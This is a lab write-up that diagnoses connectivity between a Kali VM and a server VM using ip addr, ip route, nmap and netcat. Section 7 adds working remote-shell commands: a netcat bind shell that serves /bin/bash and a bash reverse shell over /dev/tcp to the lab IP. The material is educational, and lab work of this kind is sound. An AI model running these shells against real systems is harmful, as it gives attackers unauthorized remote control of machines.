

Red Team Lab – Connectivity Diagnosis and Netcat Testing

Objective

Document the process of diagnosing and establishing connectivity between two virtual machines (Kali Linux and Server) in a VMware environment, simulating a real Red Team scenario.

1. IP Address Identification

1.1 Network Interface Verification

Command used:

```
ip addr
```

Purpose:

- Identify active interfaces
- Locate a valid network IP
- Differentiate loopback (127.0.0.1) from a real IP

Important note: 127.0.0.1 is loopback and does not allow communication between machines.

IPs identified:

- Kali: 10.91.71.63/24
- Server: 10.91.71.60/24

Conclusion: Both machines were in the same network (10.91.71.0/24).

2. Routing Verification

2.1 Route Table Check

```
ip route
```

Initial problem found: Only the Docker network (172.17.0.0/16) was present.

Impact: No route to 10.91.71.0/24 → error "Network is unreachable".

Fix:

- Verify interface status (UP)
- Renew DHCP if necessary
- Adjust network configuration in VMware

Conclusion: Without a valid route, communication cannot exist (Layer 3 failure).

3. Reconnaissance Test (Nmap)

```
nmap 10.91.71.60
```

Result:

- Host active
- Ports filtered or closed

Interpretation:

- No exposed service
- Possible firewall active

Concept: Reachable network ≠ available service.

4. Establishing Communication with Netcat

4.1 Understanding the Client/Server Model

Netcat requires:

- One side listening (listener)
- One side connecting (client)

Without a listener → connection fails.

4.2 Starting Listener on the Server

```
nc -lvnp 4444
```

4.3 Connecting from Kali

```
nc 10.91.71.60 4444
```

Result: Connection successfully established.

Validation:

- Bidirectional communication working
- TCP handshake completed

5. Error Diagnosis

Network is unreachable

Cause: Missing route or interface down (Layer 3).

Connection timed out

Likely cause: Firewall blocking or service not listening.

Connection refused

Cause: Host responded but port closed.

6. Reinforced Technical Concepts

- Difference between loopback and real IP
- Importance of routing table
- Need for a listening service
- Difference between network error and service error
- Basic TCP operation

7. Red Team Simulation

Bind Shell:

```
nc -lvnp 4444 -e /bin/bash
nc 10.91.71.60 4444
```

Reverse Shell:

```
nc -lvnp 4444
bash -i >& /dev/tcp/10.91.71.63/4444 0>&1
```

8. Strategic Conclusion

For remote exploitation to exist:

1. Functional network
2. Correct routing
3. Open port
4. Listening service
5. Firewall allowing traffic

Failure at any step prevents exploitation.

Final Note

This lab reinforces the importance of structured diagnosis before exploitation attempts.

Red Team mindset: First understand the network, then identify the attack surface, then exploit.